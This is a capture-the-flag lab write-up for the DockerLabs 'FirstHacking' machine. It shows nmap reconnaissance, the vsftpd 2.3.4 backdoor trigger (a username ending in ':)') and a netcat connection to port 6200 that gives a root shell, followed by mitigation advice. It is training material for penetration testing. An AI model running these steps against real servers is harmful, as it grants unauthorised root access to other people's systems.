

Índice

1. DockerLabs - FirstHacking	2
1.1. General Information	2
1.2. Objective	2
1.3. Tools	2
1.4. Ports	3
1.5. Connectivity with ping	3
1.6. Recognition with nmap	3
1.7. Scanning for vulnerabilities with nmap	4
1.8. CVE-2011-2523	4
1.9. Exploitation	4
1.10. Scanning ports after ftp sign in	5
1.11. Connecting using netcat - Post-Exploitation	5
1.12. Key points	5
1.13. Impact	6
1.14. Mitigation	6
1.15. Conclusion	6

1. DockerLabs - FirstHacking

1.1. General Information

Machine	FirstHacking
Difficulty	Very easy
Author	El Pingüino de Mario
Target IP	172.17.0.2
Category	Service: vsftpd 2.3.4



1.2. Objective

Identify exposed services, detect vulnerabilities, and gain access to the target system.

1.3. Tools

- [ping](#): Connectivity and range check.
- [nmap](#): Port and services scanning, vulnerability scripts and recognition.
- [netcat](#): Remote connection to target.

1.4. Ports

Port	Service
21	FTP (2.3.4)
6200	Vulnerability

1.5. Connectivity with `ping`

```
ping -c4 172.17.0.2
```

Result:

```
(root@mintian)-[~]
# ping -c4 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.095 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.087 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.085 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.091 ms

--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3075ms
rtt min/avg/max/mdev = 0.085/0.089/0.095/0.003 ms
```

1.6. Recognition with `nmap`

```
nmap -sV -p- -T4 172.17.0.2
```

Result:

```
(root@mintian)-[~]
# nmap -sV -p- -T4 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 02:13 -0600
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.000015s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: F2:17:8C:2C:8F:88 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.27 seconds
```

Port 21 is exposed with service *vsftpd 2.3.4* and may be subject to exploitation.

1.7. Scanning for vulnerabilities with **nmap**

```
nmap --script 'vuln' -p 21 172.17.0.2
```

Result:

```
(root@mintian)-[~]
# nmap --script 'vuln' -p 21 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 02:20 -0600
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.000069s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|     vsFTPD version 2.3.4 backdoor
|       State: VULNERABLE (Exploitable)
|       IDs: CVE:CVE-2011-2523 BID:48539
|       vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|       Disclosure date: 2011-07-03
|       Exploit results:
|         Shell command: id
|         Results: uid=0(root) gid=0(root) groups=0(root)
|       References:
|         https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|         http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|         https://www.securityfocus.com/bid/48539
|_ MAC Address: F2:17:8C:2C:8F:88 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds
```

Vulnerability **CVE-2011-2523** found due to **vsftpd 2.3.4** version running on target.

1.8. CVE-2011-2523

Vsftpd v2.3.4 contains a backdoor triggered by entering a username ending with ':)'. This opens port 6200, which can be accessed via netcat.

1.9. Exploitation

Start **ftp** connection with **user:)**.

```
(root@mintian)-[~]
# ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPD 2.3.4)
Name (172.17.0.2:root): user:)
331 Please specify the password.
Password:
█
```

1.10. Scanning ports after ftp sign in

```
(root@mintian)-[~]
# nmap -p- -T4 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 02:52 -0600
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.000015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
6200/tcp  open  lm-x
MAC Address: F2:17:8C:2C:8F:88 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.05 seconds
```

Now the port 6200 is exposed.

1.11. Connecting using **netcat** - Post-Exploitation

```
nc 172.17.0.2 6200
whoami
id
hostname
```

Result:

```
(root@mintian)-[~]
# nc 172.17.0.2 6200
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
b5254a5ebc6e
```

Root connection established.

1.12. Key points

- 21 port exposed.
- vsftpd v2.3.4 (CVE-2011-2523).

1.13. Impact

- Full system compromise.
- Root level access obtained.
- No authentication required.

1.14. Mitigation

- Upgrade vsftpd to a secure version.
- Disable any unnecessary ports (6200) using firewall restrictions.

1.15. Conclusion

Target machine exploited successfully

1. Identifying an exposed FTP service.
2. Detecting a vulnerable version.
3. Exploiting the known backdoor.
4. Connecting through root access.